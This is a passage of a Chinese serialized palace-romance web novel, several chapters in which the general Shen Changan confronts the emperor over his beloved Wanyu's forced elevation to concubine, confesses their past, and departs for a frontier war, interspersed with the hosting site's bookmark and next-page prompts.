他和徐清盏约好了,今晚要偷偷前往江家,和晚余商量后面的计划。 然而,他收拾好刚要出门,外面小厮来报,说有个叫来财的小太监在外求见。 沈长安顿时有种不好的预感。 来财是徐清盏的干儿子,这个时候过来干什么? 难不成,晚余出宫的事又有了什么变故? 可皇上去了皇陵,宫里也没有人不想晚余离开,还能出什么意外呢? 他提着一颗心,让小厮把来财带进来,同时屏退了下人。 来财进了门,脸色很是不好,也没跟他寒暄,直接道:“沈小侯爷,有个不好的消息要告诉您,您千万沉住气,听小的把话说完。” 沈长安听他话音,已经知道大事不妙,稳住心神点了点头:“什么事,你说吧!” 来财说:“齐嫔娘娘昨晚叫晚余姑娘去永寿宫话别,皇上突然回宫撞见了,也听到了晚余姑娘说话,皇上一怒之下将齐嫔娘娘打入冷宫,临幸了晚余姑娘,封了晚余姑娘为采女…… 轰的一声,仿佛有道闷雷在头顶炸响,沈长安的耳朵嗡嗡作响,脸上瞬间血色全退。 “你在说什么?”他一把抓住了来财的肩膀,“是你说错了,还是我听错了?” “都没错,沈小侯爷,您要冷静。”来财同情地看着他,“齐嫔娘娘死在了冷宫里,干爹也差点被皇上降罪,晚余姑娘拼死保他,皇上暂时没再追究他,让他先查清齐嫔的死因再说,他叫您千万冷静,不要冲动,他会找机会出来见您,和您从长计议。” 从长计议? 沈长安双眼通红,失魂落魄地看着他:“已经这样了,还如何从长计议?” 来财答不上来,只得安慰他:“天无绝人之路。” 沈长安闭了闭眼,俊朗的脸上慢慢聚起怒意。 天无绝人之路,天子却有。 他效忠的天子,已经把他心爱的姑娘逼入了绝境。 也把他逼入了绝境。 连一个女人都不肯放过的人,不配他沈长安效忠。 他松开了来财,一言不发地向外走去。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第111章 昨晚睡得可好,身子还疼吗 “长安,你要去哪里?”平西侯沈闻正在门外拦住了他。 沈长安仍旧一言不发,越过父亲继续往前走。 沈闻正腿脚不好,一瘸一拐地追上去拽住他的袖子:“长安,我都听见了,你是不是要去见皇上,你不能这样,你要冷静……” “事到如今,你还要我冷静?”沈长安怒道,“要不是你一直拦着我,我兵都调回来了,我现在最后悔的就是听了你的话,什么世代忠良,满门忠烈,我连自己心爱的姑娘都护不住,要这些虚名有何用?” “这不是虚名,这是身为臣子的本分!”平西侯说,“他是君,我们是臣,君要臣死,臣不得不死,何况只是一个女人。” “他也配为君?”沈长安冷笑,“他身为帝王,却在一个姑娘身上用尽了卑劣手段,这样的人,不配我沈长安和边关十万将士为他抛头颅洒热血。” 沈闻正被他大逆不道的言论吓得心肝直颤:“沈长安,你在胡说什么,你想造反不成?” “父亲说对了!”沈长安直言不讳,“我这就进宫去问他要人,他若不给,我即刻便反了他!” 沈闻正差点一口气上不来,厉声道:“你胡闹,你这样进了宫,还有命出来吗?” “我若连这点把握都没有,这五年边关苦寒岂非白熬了!”沈长安抽出袖子,大步而去。 沈闻正急出一脑门汗,自己的腿脚追不上,院子里的下人又被他打发走了,眼下能求的人只有来财:“小公公,劳烦你,快些帮我把人拦下,他这样子去见皇上是会掉脑袋的。” 来财应声,撒腿追了上去。 “小侯爷,干爹叫您千万别冲动,越是这种时候,咱越要冷静啊!” 沈长安充耳不闻,直奔马棚,牵了自己的追风战马出来,翻身上马,向大门口而去。 来财被他凛然的气势震慑住,一时竟也不敢拦他。 到了大门口,府里的正门还没开,侧门正有采买的下人往里面搬东西。 沈长安勒住缰绳,大声命令门房把正门打开。 门房本想问一句“小侯爷去哪儿”,见他怒气冲冲,一副神挡杀神的架势,什么也没敢问,忙不迭把门打开。 沈长安策马出了门,刚下台阶,恰好一个兵丁骑马飞奔而来。 见了他,兵丁立马翻身下马,单膝跪地大声禀道:“将军,边关来的军报,胡人突然出兵犯我边境,战况危急,刘都统八百里加急召您回去!” 沈长安回京时带了一千兵马,兵马不能进城,便驻扎在城外,日常负责传递京城与西北的往来消息。 换作以往,沈长安听到西北的军情,必然放下手头的一切事务紧急处理,今日却只是坐在马上,冷冷地看了那兵丁一眼,说了声“去找侯爷”,就扬鞭催马,绝尘而去。 乾清宫里,晚余缓缓睁开眼睛,意外地看到原本该在掖庭服役的梅霜和紫苏站在床前。 “你们怎么在这儿?”她心下一惊,向两人伸出手去,随即发现手腕上的镣铐不见了。 梅霜和紫苏对视一眼,欣喜道:“太好了,姑姑的嗓子果然好了。” “什么姑姑,该叫小主了。”紫苏纠正她,拉着她给晚余行礼:“奴婢请小主安,奴婢二人奉皇上之命服侍小主,听候小主差遣。” 晚余的心沉了沉。 难怪祁让为她解了镣铐,原来又有了新的挟制她的手段。 她在宫里没几个在乎的人,这两个丫头跟她时间长,还算有点感情。 祁让怕她寻死,怕她不老实,就把这两个丫头安排在她身边,让她投鼠忌器。 为了牵制她,祁让真可谓机关算尽。 她四下看了看,嗓音干涩地问:“皇上呢?” “皇上一大早就去了南书房处理政务,让小主起床后先用饭用药,等着康嫔来接。”梅霜兴奋道,“皇上特地让康嫔来接小主,是高看小主,给小主脸面,省得别人瞧不起您。” “你懂什么,别乱说。”紫苏制止她,问晚余,“小主可要起床,奴婢们服侍您更衣可好?” 晚余点了点头,撑着身子想要坐起来,刚一动,身下就传来撕裂般的疼痛,让她瞬间白了脸,又重重地跌回去。 “小主小心。”紫苏忙上前扶她,隐晦道,“小主身子不爽利,慢慢来。” 晚余被她扶着慢慢坐起,浑身上下,四肢百骸,无一处不酸痛。 梅霜小心翼翼地帮她脱下寝衣,见她白如凝脂的肌肤上布满了青青紫紫的痕迹,不由得惊呼出声:“天爷,这是怎么弄的?” 紫苏也吃了一惊,心说皇上也太不怜香惜玉了,把人弄成这样,到底是爱呀还是恨呀? 这话她不好说出来,斥责梅霜道:“你小点声,别大惊小怪的,赶紧给小主把衣裳穿好,别着了凉。” 梅霜心疼地看了晚余,默默闭了嘴。 两人从前就是给晚余打下手照顾她起居的,服侍起来自然得心应手,驾轻就熟。 衣裳头面都是胡尽忠一早准备好的,梅霜见晚余情绪低落,便哄她道:“小主现在位分低,就有这么漂亮的衣裳头面,将来讨得皇上欢心,坐上嫔位妃位,还有更多更好的衣裳头面等着您呢!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!晚余知道她好心,对她笑了一下。 只是那笑容里是满满的苦涩。 紫苏示意梅霜别多嘴,让她去拿饭菜过来,等她走后,对晚余说:“梅霜没心眼,小主别理她,回头奴婢慢慢说与她听。” 晚余嗯了一声,转头去看她脸上的疤,伸手在那道疤痕上摸了摸。 紫苏说:“多亏了小主让人给奴婢送的药膏,这疤好多了。” 说着跪下给她磕了个头:“小主救了奴婢,又杀了赖三春,奴婢感念小主的大恩大德,愿为小主肝脑涂地,死而后已。” “起来吧!”晚余说,“我杀赖三春不是为了你,我也不要你肝脑涂地,你们都好好的活着就好,过两年年纪到了,就出宫去……” 说到出宫,她神情黯淡下来,眼里泛起泪光。 紫苏知道,出宫是她的执念,如今这执念只能是永远的遗憾了。 她心里,只怕恨死了皇上。 这样的一对怨偶,以后能好的了吗? 梅霜拿来饭菜,其中有一碗燕窝粥,说是皇上特地叫人准备的。 紫苏以为晚余不会喝,谁知她却一口气喝了个干净,还把饭菜都吃了。 吃饱了,才有精力往前走。 徐清盏说了,现在已经是最糟的境地,以后的路都是向上的。 为了徐清盏,为了沈长安,她也会好好活下去的。 刚放下碗筷,胡尽忠来了。 “江采女安好,万岁爷叫您去南书房。”胡尽忠一进门就满面带笑,对着晚余下跪行礼。 像他这样的御前总管,对低位分的妃嫔本不用行此大礼,但他深知眼前这位不一般,早晚有一天要飞黄腾达,先巴结着准没错。 晚余一下子还不能习惯这个身份,缓了一会儿才道:“皇上不是让我在这里等康嫔吗,又叫我去南书房做什么?” “这个嘛……”胡尽忠迟疑了一下,“方才有侍卫来报,说沈小侯爷在宫外求见,皇上让江采女去给沈小侯爷沏茶。” 晚余的心像是被一只大手猛地攥住,疼得她差点失控。 她知道这消息瞒不住沈长安,可沈长安跑来求见祁让干什么? 莫不是气昏了头,想刺杀祁让吗? 这怎么能行? 南书房里外都藏着暗卫,他根本不可能得手。 晚余心急如焚,强忍着浑身的酸痛,随胡尽忠去了南书房。 她到的时候,沈长安还没到,南书房里只有祁让一个人坐在龙案后面看折子。 今天不上朝,又逢圣母皇太后的忌日,祁让穿了件黑色云纹团龙交领袍服,这样纯粹又庄重的颜色,衬得他面如冠玉,眉目如画,却又不失天子的威严气度,和昨夜那个满身戾气杀神一般的暴君判若两人。 晚余恨毒了他,为了沈长安,却不得不向他下跪行礼。 身上实在疼得厉害,下跪的时候,差点栽倒在地。 祁让放下笔,幽深的凤眸意味深长地将她上下打量:“怎么,身上还疼吗?” 晚余顿时涨红了脸,屈辱又难堪。 祁让微微勾唇,从龙案后面走出来,弯腰将她扶起,莹白修长的食指挑起她的下巴:“知道朕叫你来干什么吗?” 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第112章 让沈将军瞧瞧朕新得的美人儿 晚余本能地抗拒他的碰触,又怕他突然发疯,强忍着不敢躲避,低垂眼帘摇了摇头,随即又点了点头。 “说话,你现在不是哑巴了。”祁让的拇指从她涂了口脂的唇上抚过,指腹蹭下一抹嫣红。 宫女不允许涂脂抹粉,过度装扮,晚余为了不引起祁让的注意,又刻意打扮得寡淡,因此,这样艳丽的色彩,五年来还是头一回出现在她唇上。 祁让不由细细打量起她的妆容。 眉若远山含黛,目似秋水横波,唇色艳艳如樱桃,肌肤莹白如春雪,两腮的胭脂红便恰似雪中桃花,粉嫩娇俏。 她本就是美丽至极的容颜,施在脸上的粉黛已不能再为她加分更多,却让她显出一种和平时截然不同的妩媚风情,让人一眼望过去,就再也移不开视线。 “江采女果然是个美人儿。” 祁让挑眉,唇角勾起一丝风流笑意,手指随意拨弄她耳垂上颤巍巍的珍珠耳坠,低头向她凑过去,像是要亲吻她的耳垂。 晚余没忍住,下意识偏头躲闪,嫣红的口脂便蹭到了他白色的衣领上。 “你又躲朕!”祁让一手绕到她背后,用力压着她的细腰贴在自己身上。 晚余涨红着脸,无声地挣扎。 长安就要来了,她不想让长安看到她被祁让羞辱的模样。 祁让像是看透了她的心,在她头顶凉凉道:“怎么,怕沈小侯爷看到会难过吗?” 晚余身子一僵,摇了摇头。 “既然不怕,你躲什么?”祁让追问。 晚余只好道:“皇上不是叫奴婢来沏茶吗,沈小侯爷就到了,奴婢先去准备。” “沏茶用不着你,朕叫你来,就是想让沈将军瞧瞧朕新得的美人儿。” “还有,你如今是朕的后宫,从现在开始,要自称嫔妾。” 祁让压在她腰上的手猛一用力,警告的语气道:“记住了吗?” 晚余昨晚被他两次摧残,腰身本就酸痛不已,现在被他这样用力压着,忍不住皱眉发出一声呻吟。 她已然明白祁让特地叫她来给沈长安沏茶是何用意。 他就是要当着沈长安的面与她亲热,好试探他们两个的反应。 说到底,他还是怀疑沈长安。 他根本做不到既往不咎,也没办法将她的过往真正翻篇儿。 他上了当,受了骗,觉得自己被戏耍,觉得自己帝王的尊严受到了侮辱。 他怎么可能轻易放过他们? 再没有人比他更懂得如何折磨人了。 晚余又恨又无助,心里油煎似的,只盼着沈长安不要在这个时候出现。 偏偏这时候,胡尽忠打起帘子把沈长安放了进来。 “万岁爷,沈小侯爷到了。” 这一嗓子又尖又细,像一根针扎在晚余心口,不等她做出反应,祁让已经揽着她的腰迫使她转向门口。 沈长安一脚跨进来,就看到晚余被祁让亲昵地揽在怀里,祁让的手圈在她不堪一握的腰间,像是怕她挣脱,手上使了些力气,疼得她柳眉紧蹙。 她的脸被人精心描画过,云鬓高挽,珠翠闪耀,衣裳也换成了宫嫔的装束,和她平时的清丽脱俗相比,更多了几分惊心动魄的美。 可是这美,却深深刺痛了他的眼睛。 他看着她在皇帝怀里羞辱又难堪的模样,胸膛仿佛被一把利剑刺穿。 他的拳头在袖中死死攥紧,下颌线绷出锋利的棱角。 晚余喉咙发紧,鼻子发酸,眼圈泛红,强忍着泪意,几不可察地对他轻轻摇头,提醒他不要轻举妄动。 沈长安攥着拳头,迈步向两人走过来。 每一步,都像是踩在刀尖上。 祁让唇角还勾着笑意,眼神却已经变得锋利无比。 他就那样搂着晚余,看着沈长安一步一步走来。 空气中弥漫着令人窒息的压迫感。 晚余的心都提到了嗓子眼。 沈长安走到近前,看到了祁让雪白的衣领上一抹嫣红,那嫣红,和晚余的唇色如出一辙。 怒意在胸腔翻涌,在这一刻到达了顶峰。 “皇上!” 他开口,正要说话,外面突然有声音抢在他前面喊道:“皇上,西北八百里加急!” 祁让脸色一变,立刻松开了晚余,阔步坐回到龙案之后,沉声道:“呈上来!” 只一瞬间,他就已经从轻佻浪荡的风流公子,变回了那个杀伐决断,气势逼人的威严天子。 送信的士兵被胡尽忠领着匆匆而入,行至御前,把军报双手呈上:“启禀万岁,胡人集十万大军突袭我西北边境,我军伤亡严重,边境三镇眼看就要失守,总兵刘卓请求朝廷火速派兵增援,并请沈将军火速返回西北抗敌。” 突如其来的军情,把晚余也吓了一跳,此时已顾不上掩饰,忧心忡忡地看向沈长安。 祁让接过军报,迅速浏览一遍,面色凝重道:“胡尽忠,传六部尚书军机大臣来南书房议事。” “是!”胡尽忠答应一声,和传信兵一起退下。 房中又只剩下他们三人。 本小章还未完,请点击下一页继续阅读后面精彩内容!祁让目光如炬看向沈长安:“沈将军进宫见朕所为何事?” 沈长安神情肃重,眼里闪过痛苦与纠结,单膝跪地,抱拳道:“臣正是为着西北军情告急,特来向皇上辞行,请皇上准臣即刻启程赶赴西北!” 一字一句,大义凛然,又锥心刺骨。 没有人知道,他在说出这些话时,是怎样的痛断肝肠。 临出门前,他还在抱怨父亲愚忠,为了所谓的忠孝,害了他心爱的姑娘。 而今,他却还是在儿女情长和紧急军情之间,选择了后者。 他对不起他的姑娘,可他却不得不这么选。 他效忠的,不只是君王,更是无数将士抛头颅洒热血守护的苍生黎民,是他自己心中的信仰。 晚余的心像被刀绞着一样痛,低着头,眼泪几乎要冲出眼眶,因着极力的克制,双肩都在微微颤抖。 她知道她的长安会这么选。 她理解他的选择,也明白他的痛苦与纠结。 因为她自己的心也是和他一样的。 她不怪他在这个时候离她而去。 她只是遗憾,从他回来至今,他们都没有好好的说一回话。 当初要出宫的时候,徐清盏说长安会在宫门外等她。 从得知消息的那一刻,她就幻想着一个属于他的拥抱。 只可惜,这个拥抱,她可能这辈子都无法拥有了。 祁让的目光在两人身上扫了个来回,最后又落在沈长安身上,对于他的决定似在意料之外,又似在意料之中,很多话在腹中来回打转,最终出口的只有淡淡一句:“你去吧,此番平定了西北,朕封你为大将军。” “臣遵旨!”沈长安起身,抱拳,先向祁让,又向晚余,“皇上保重,江采女保重,臣告退!” 他带着满腔的愤怒而来,想要讨回他心爱的姑娘,最后的最后,却只能说一句“江采女保重”。 他深吸一口气,不再停留,转身大步而去。 棉帘挑起又放下,那沉稳的脚步声,很快便消失在南书房外。 晚余仍旧垂着头站在原地,一动不动。 祁让转眸看向她,语气不明:“江采女,是在哭吗?” 晚余咬了咬唇,抬起头来:“嫔妾和皇上一样忧心西北战事,担心边镇失守,百姓受难。” 祁让挑眉:“没想到江采女还如此忧国忧民,朕以为你是舍不得沈小侯爷。” “皇上说笑了……”晚余正要否认,门帘一响,沈长安又大步走了进来。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第113章 江采女去送一送沈将军 晚余和祁让皆是一怔,齐齐向他看过去。 “沈将军还有事?”祁让沉声问道。 沈长安走上前来,重又在他面前跪下:“臣有罪,臣欺骗了皇上,臣和江采女徐掌印很早以前就认识。” 晚余实在没想到他突然回来说出这样的话,脑子嗡的一声,脸上血色尽退,心扑通扑通跳得厉害,一时间想不出任何应对之策,只得跟着他跪了下去。 祁让也被沈长安这招一回马枪给惊呆了,半晌才道:“你都已经走了,又突然回来和朕说这些,是何用意?” 沈长安道:“皇上圣明,臣自知这事瞒不过皇上,为免君臣之间相互猜疑,臣还是决定向皇上坦白,倘若皇上不能原谅臣,即刻把臣推出午门斩首,臣也认了。” 祁让眯着凤眸瞥了眼已经花容失色的晚余:“你就不怕朕把她也一并砍了?” 沈长安神情坦然,目光坦荡:“皇上真要杀她,昨夜已经杀了,不会留她到现在,臣知道皇上很在意这件事,不和皇上说清楚,将来死在战场上也不会瞑目。” 祁让食指轻叩书案,面色沉沉看不出喜怒,片刻后,抓起书案上的菩提珠串握在手里,身子向后重重靠在龙椅上。 “你说吧,朕确实也很想知道,你们到底是怎样把朕戏耍了五年的,等你说完,朕自会让你瞑目!”他拨弄着珠串冷声道。 “多谢皇上。” 沈长安对他磕了一个头,跪直了身子,将往事娓娓道来。 从他们三人的初相识,一直讲到晚余被父亲送进宫,自己被父亲送到西北,徐清盏追随晚余入宫,再到淑妃假装灌了晚余一碗毒药,让她变成了哑巴。 祁让全程安静听着,没发出一点声响,眼底的情绪却是越来越复杂,拨弄珠串的动作也越来越快。 沈长安没有去看他的脸色,缓了口气,又接着道:“后面的事,不用臣再赘述,皇上都已知晓,臣此番回京述职,正是为了接江采女出宫,不料她却被人诬陷偷了皇上的玉佩,最终连宫门都没出去。 臣心急如焚,便打算在接风宴上请皇上赐婚,没想到皇上却打算把公主赐于臣,臣拒绝了公主,求娶江采女,皇上没有应允。 那夜之后,江采女的阿娘就出了事,臣和徐清盏借机协助她逃跑,结果又被皇上识破,没能成功。 到这里,我们都已束手无策,皇上却发了慈悲,主动愿意放她离开,不料最后关头又横生枝节,导致她最终还是留在了皇上身边。” 他伏身叩首,神情凝重而恳切:“皇上,臣以上所言句句属实,这件事的责任全在臣,徐清盏和齐嫔都只是从中协助。 徐清盏十年前已是残疾之身,虽然在宫中与江采女有接触,两人实无半点男女之情。 臣与江采女虽有情义,五年来一直在边关没有回京,与她也没有只言片语的往来。 这件事说到底不过是一场年少时的执念,如今这执念也成了空,江采女几次三番都没能出宫,或许是天意要让她留在皇上身边。 臣罪犯欺君,皇上要杀要剐,臣皆无怨言,只求皇上饶了江采女和徐清盏,也饶了已经死去的齐嫔,不要追究她娘家的罪责,如此臣便是死,也死得心安。” 他的话音落下,晚余的眼泪也跟着落下,一滴一滴砸在光可鉴人的地砖上,无声无息,却令人心碎。 至此,她已然明白沈长安向祁让坦白的用意。 沈长安知道祁让生性多疑,无论如何也会将这件事查个水落石出,到时候他鞭长莫及,根本护不住自己和徐清盏。 倒不如借着边关战事这个契机,把前因后果彻底向祁让坦白,祁让还要仰仗他上战场杀敌,总会对他们网开一面。 现在宽恕了,过后自然不能再旧事重提,重新责罚他们。 为了撇清自己,他又着重说明,徐清盏是残疾之身,他驻守边关五年未归,与自己也无书信来往,彼此都是清白的。 因此,只要祁让对自己还有那么一点感情,就会选择睁一只眼闭一只眼。 只要自己是安全的,他纵死也无憾。 可是,他已经是她最后的念想,万一祁让不照他预想的来,直接把他杀了,她活着还有什么意义? 祁让一时没有说话,冷眼看着晚余的泪像断线的珠子一样往下掉,心里说不上来是什么滋味。 他真是没想到,她和沈长安徐清盏之间已经是十年的旧相识。 这十年,明明他也参与了五年,却是他完全不知道的十年。 他以为江晚余在宫里陪伴他的五年,至少是完全属于他的,到头来,他竟然是他们感情的破坏者,是他们共同的敌人。 他怒上心头,将手中菩提珠串重重摔打在书案边缘。 “哗啦”一声,珠串断裂,噼噼啪啪滚落一地。 “沈长安,你以为你向朕坦白,朕就会对你网开一面吗,你以为西北有战事,朕就不得不放过你们吗,你以为没有你,朕的将士们就打不赢这场仗吗?” 这章没有结束,请点击下一页继续阅读!“臣没有这样想,臣只是不想再这么错下去,再为这件事去撒无数的谎。” 沈长安挺直脊背,坦然与他对视,“臣一身坦荡,做任何事都无愧于天地良心,唯独这一件事,五年来一直折磨着臣,叫臣日夜难安。 臣向皇上坦白,没有任何逼迫皇上的意思,我大邺精兵强将无数,不差一个沈长安,皇上要杀臣,臣坦然赴死,皇上若要臣代罪立功,臣马革裹尸,在所不辞。 只求皇上饶恕江采女和徐清盏,哪怕将他们当成一个牵制臣的筹码,有他们二人在宫里,臣会永远效忠皇上,为皇上肝脑涂地,死而后已。” 南书房里陷入一片死寂。 气氛压抑到让人喘不上气。 君臣二人沉默地看着对方,像是在进行一场生死存亡的对峙。 许久,祁让屈指弹飞一枚落在书案上的菩提珠,漠然开口道:“那就立个军令状吧!此去西北,你胜,他们活!你败,他们死!” 菩提珠落在地上,发出清脆的声响,打破了压抑的氛围。 晚余紧绷的身子放松下来,方觉自己的后背已经被冷汗湿透。 沈长安也是一手心的汗,伏地大声道:“臣谢皇上不杀之恩,臣拼死也会打赢这场仗。” “好,这可是你说的。”祁让抬手道,“你先行一步赶赴西北,朕随后调派兵马增援。” 沈长安起身抱拳:“臣遵旨,臣告退!” 祁让看了眼一直跪在地上一言不发的晚余,忽而道:“战场凶险,生死难料,江采女,去送一送沈将军吧!” 晚余一愣,抬头错愕地看向他。 他是真心想让她去送,还是又在试探她? 说什么战场凶险,生死难料,他是不是没打算让沈长安活着回来? 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第114章 光天化日的能干什么 无论祁让是出于什么心态让晚余去送沈长安,这个决定本身都对晚余有着无法抵挡的诱惑。 她太想和长安单独相处一会儿了,哪怕只是说上几句话,或者什么都不说,只是陪他走一段路也是好的。 她想了他五年,他们加上今天,总共也只见了三次面,话都没说上两句。 如今这一走,又不知什么时候才能再见。 如祁让所说,战场凶险,刀剑无眼,还能不能再见都是未知。 可是,祁让这种人,嘴上说的大方,她若真去送了,他会高兴吗? 万一又生气,猜疑,惩罚她…… 尤其是床笫之间的惩罚,她想想都觉得疼。 她迟疑着,纠结着,红着眼睛看向沈长安。 沈长安虽然极力忍耐,眼里也隐有水雾弥漫:“外面风大,江采女身子虚弱,不必相送,待臣得胜还朝,再来给采女请安。” 晚余的泪几乎要忍不住冲出眼眶。 她咬着唇,瞬息之间下了决断:“过往种种皇上已然明了,你我之间皆是清白身,沈将军此番出征重任在肩,皇上让我送你,是宽恕,是期许,也是恩典,那我便去送一送将军,全当和往事做个了断吧!” 沈长安深深看了她一眼,又转头去看祁让。 祁让沉着脸,摆手道:“去吧,江采女说得很好,沈将军也不必顾虑太多,朕没那么小气。” “多谢皇上。”沈长安道谢,对晚余躬身道,“采女请!” 两人便在祁让的注视下,一前一后出了南书房。 门帘挑起又放下,脚步声渐远,祁让咬着后槽牙,拂落了案上的奏折。 胡尽忠听到动静,硬着头皮走进来,见他脸上阴云密布,随时都要狂风大作,大雨倾盆的样子,吞了吞口水道:“万岁爷,您,您是怎么想的呀,怎么就让江采女去送沈将军呢?” “朕魔怔了,行了吧?”祁让咬着牙,赌气似的说道。 胡尽忠一愣,差点绷不住笑出来。 真新鲜! 这样子的万岁爷,他还是头一回见。 他也不敢多说,蹲在地上把奏折一本一本捡起来:“皇上息怒吧,军机大臣马上就到,咱们先紧着正事来,等沈小侯爷离京后,皇上有的是时间和江采女相处,到时候奴才教皇上几招,保管让她的身心都转向皇上。” 祁让狠狠瞪了他一眼,“朕倒要你一个太监来教?” 胡尽忠吓得一缩脖子:“奴才错了,那要不,奴才让人偷偷跟着他们?” “怎么跟?”祁让没好气道,“以沈长安的身手,有谁能偷偷跟着他不被发觉,朕自己答应的事,又派人暗中监视,朕成什么了?” “那,那怎么办?”胡尽忠也没辙了,苦哈哈地看着他。 “还能怎么办?”祁让冷哼一声,“光天化日的,他们能干什么,左不过哭一哭……” 说是这样说,一想到那女人会在旧情人面前掉眼泪,他心里却又猫抓似的难受。 好在这时,几位军机大臣相继赶来,他便也无暇再去理会。 晚余跟在沈长安身后,沿着长长的廊庑往乾清门外走,一路上两人谁也没有说话。 直到出了乾清门,走上往承天殿去的甬道,沈长安才放缓了脚步,等着晚余跟上来。 今日是圣母皇太后的忌日,皇上不上朝,整个前殿都很安静,连个路过的宫人都没有。 晚余想,兴许就是这个缘故,祁让才让她来送沈长安,换作平时,官员内侍往来频繁,他断不会让自己走到前面来的。 即便如此,她也不敢跟得太近,在离沈长安两三步远的地方,缓缓开口道:“战场凶险,打胜仗固然重要,也要先保全自身,切不可贪功冒进,更不可为私事分神,心无杂念,方能时刻保持清醒。” “好,我知道了。”沈长安没回头,尽量语气平静地答应她,“我会保重自己的,为了你,我也不会让自己出事。” 晚余嗯了一声,嗓子哽得难受。 沈长安说:“你不要想不开,就算是为了我,也要好好活着,如果没有你,我此生都没有勇气再回京城。” 晚余终是忍不住掉了泪:“我已经拖累了你五年,以后不要再为我费神了,遇到合适的,就成家吧,你父母也老了……” 沈长安猛地停住脚步,转过身来。 晚余收势不住,险些撞到他怀里。 两人的衣角相碰,晚余连忙向后退开。 从身后吹来的风,却把她的长发吹到了沈长安脸上。 冰冷的发丝拂过脸颊,沈长安伸手压住,让她不能再往后退。 战场上负伤流血都不皱一下眉头的铁血将军,此时却无声落下泪来。 眼泪弄湿了那一缕头发,他的手压在那里,全当那缕头发是她的手指在抚摸他的脸。 “晚晚,不要说这样的话,你知道,我永远都不会爱上别人。” “我已经等了五年,便是十年,二十年,我也能等。” “我如今在皇上眼里,还没到不可替代的地步,今日对他坦白,也是为了稳住他,给自己争取时间,等我有了足够的实力能与之抗衡的时候,如果你的心还没改变,我就……” 本小章还未完,请点击下一页继续阅读后面精彩内容!“别说了!”晚余哭着制止他,“长安,我只想让你好好活着,这比什么都重要。” “不,更重要的是和你一起好好活着。”沈长安眼中含泪,目光却无比坚定,“晚晚,这是我毕生所愿,我永远不会放弃。” “可是……” “别劝我,晚晚,别劝我娶别的女人,别劝我放手。”沈长安急急打断她,“如果就这样放手,我们这五年的坚持算什么,那些年少的时光又算什么,还有清盏,齐家姐姐,还有你阿娘的牺牲,又算什么?” 晚余已经痛得说不出话,眼泪如雨点在风中跌落。 沈长安又道:“我不相信齐家姐姐会害我们,如果真的是她,也必定有她不得已的原因。 所以,我坦白自己,保住清盏,也是为了消除皇上对他的猜疑,让他有机会查清楚这件事。 我走后,只有你们两个相依为命了,便是为了他,你也不要消沉,要好好吃饭,好好睡觉,好好的,等着我……” 晚余以袖掩面,一声无法抑制的哭腔从袖子后面传出来。 “好,我会好好吃饭,好好睡觉,好好的,等着你。” 她已经等了五年,不介意再等多久。 等的结果,无非是等到,或者等不到,无论如何,总归有个盼头,有个活下去的理由。 沈长安将那缕头发在脸上揉搓了两下,而后松开手,看着那沾着他泪痕的发丝滑落。 “那我走了,天冷,你就送到这儿吧!”他艰难地说出这句话,慢慢向后退开。 他不想她送他到宫门口,不想让她在五年都没走出的宫门里面看着他远去。 喜欢出宫前夜,疯批帝王后悔了请大家收藏:()出宫前夜,疯批帝王后悔了更新速度全网最快。 第115章 将她推倒在龙案上 晚余却还是坚持把他送到了宫门口。 虽然站在自己出不去的宫门里面,看着自己心爱的人远去,是一种痛彻心扉的折磨,但她就是要让自己痛。 痛得越狠,越能记得长久。 她要长长久久地记住这痛,好让自己时刻保持清醒,时刻记得祁让带给她的伤害。 她恨他! 无论将来和长安会是什么样的结果,她都恨他! 她要用一辈子的时间来恨他! 纵然他今后会千百次地占有她的身体,也休想占有她的心。 她站在宫门里面,看着沈长安上了马。 红衣,白马,飞扬的发丝,在冬日冷清的阳光里渐行渐远,直到再也看不见,才转身往回走去。 这段路明明这样漫长,她用了五年的时间都没走出去,为什么他们还没说上几句话就走到了头? 她沿着空旷的宫道慢慢走,慢慢调整自己的情绪。 到了乾清宫门外的时候,她的脸上看起来已经没有什么异样,脚下却似有千斤重,无论如何都抬不起来。 这道无数人都想迈进来的门槛,对她来说就像是通往地狱的门,里面住着最冷酷无情的阎罗王。 这座天下最华丽的宫殿,对她来说,就是阎罗殿。 如果有可能,她宁愿在从前那个偏僻的宅院里,和阿娘共度余生。 那个宅院,长安和清盏也常去,阿娘很喜欢他们,会做好吃的点心给他们吃。 阿娘说,长安是值得托付的人,将来你要能嫁给他,我死也会笑着死…… “哟,江采女,您回来了?”胡尽忠笑着迎出来,点头哈腰地去扶她,“万岁爷在和几位大人议事,奴才瞧你半天不回来,正想着去找您呢!” 晚余拂开他的手,不让他碰到自己,迈步走了进去。 胡尽忠扶了个空,尴尬一笑,也不在意,又跟上来道:“皇上叫您在南书房隔壁先等一等,他议完事再见您。” “不必了,皇上有政务要忙,我自行去咸福宫即可。” 晚余实在不想见祁让,怕祁让看到她哭红的眼睛,又怕祁让揪住她送沈长安的事不放。 胡尽忠却不肯放她走,假模假样地装可怜:“小主别难为奴才,这是皇上的命令,您要是走了,奴才就该挨板子了。” “挨板子?那正好。”晚余嫌恶地看了他一眼,走得更快了。 胡尽忠忙拦住她,别有深意道:“奴才皮糙肉厚,挨几板子不打紧,小主身娇肉贵的,万一皇上生气惩罚小主,那可就不是挨几板子的事了。” 晚余听到惩罚二字,身子就本能地收缩了一下,昨夜那狂风骤雨般的疼痛与折辱又浮现在眼前。 双手在袖中紧攥成拳,她闭了闭眼,掩下眼中愤恨与不甘,一言不发地去了南书房隔壁。 胡尽忠立马喜笑颜开,跟着她进了屋,又开始絮絮叨叨:“这就对了,俗话说的好,识时务者为俊杰,小主是明白人,当知凡事要顺势而为,不可逆天而行,万岁爷呀,就是咱们的天,人再怎么厉害,也不能和老天爷拧着来不是?” 晚余一面为长安的离去肝肠寸断,一面又要想着等下如何应对祁让,心情本就纷乱不安,听他絮絮叨叨,更觉厌烦。 心里想着,早晚有一天,拔了他这条舌头,看他还怎么巧舌如簧? 胡尽忠不知道自己的舌头又被人惦记上了,殷勤地用自己的袖子帮她擦了擦椅子,请她坐下,又叫人上了茶点给她享用。 晚余本不想吃,转念想起长安临走前的叮咛,便拿起点心吃起来。 她要好好吃饭,好好睡觉,好好的,等她的长安。 